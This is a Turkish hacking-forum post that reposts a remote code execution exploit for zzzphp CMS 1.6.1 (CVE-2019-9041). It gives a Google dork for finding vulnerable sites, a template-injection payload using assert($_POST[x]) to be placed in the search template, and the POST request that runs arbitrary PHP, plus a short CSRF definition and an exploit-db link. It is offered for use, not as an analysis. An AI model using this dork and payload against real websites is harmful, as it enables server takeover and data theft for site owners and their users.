Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...


zzzphp CMS 1.6.1 - Remote Code Execution

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 26-02-2019 17:45   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Nereden
Ludas.py
Yaş
19
Mesajlar
Konular

Teşekkür (Etti): 26
Teşekkür (Aldı): 36


zzzphp CMS 1.6.1 - Remote Code Execution



# Exploit başlığı : dynamic code evaluation of zzzphp cms 1.6.1

# Google Dork : intext:"2015-2019 zzcms.com"

# Tarih : 24/02/2019

# Exploit yazarı : Yang Chenglong

# Yayıncı sayfası : http://www.zzzcms.com/index.html

# Yazılım link : http://115.29.55.18/zzzphp.zip

# Version : 1.6.1

# Test : Windows/Linux,iis/apache

# CVE : CVE-2019-9041


inc/zzz_template.php içindeki parserIfLabel() başarısızlık dolayısı ile filtreleme fonksiyonundan saldırganlar şablon dosyasına dinamik php kodu ekleyebilir.

Exploit : yönetici paneline giriş yapın, arama şablonunu düzenleyin.html, aşağıdaki kodu ekleyin:





{if:assert($_POST[x])}phpinfo();{end if}



Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow: [1.png]



Belirtilen : Verilen exploit, saldırganların yönetici paneline erişmesini gerektirirken, yönetici paneline erişmeden web sitesinin kontrolünü elde etmek için csrf kullanarak başka bir exploit yayınlayacağım. (Yang Chenglong)

--------------------------------------------------------------


Csrf nedir diyenler için ufak bir tanım :
XSRF ya da CSRF, websitelerini hedef alan kötü niyetli bir exploit türüdür. XSRF ile websitesinin güvendiği bir kullanıcı üzerinden, websitesine izin verilmeyen ya da kullanıcının farkında olmadığı komutlar gönderilir. https://tr.wikipedia.org
/wiki/XSRF



Exploit : https://www.exploit-db.com/exploits/46454



___________________________________________


|~ Yalnızlık olsun istediğin, uzaya mahkum ederim. ~|

Telegram ⋟ @Ludas_THT

|~ Vaktimiz doldu, artık gözlerin kapalı. ~|
 Offline  
 
Alıntı ile Cevapla
Teşekkür

Kacamax, Keh4n3t Teşekkür etti.
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau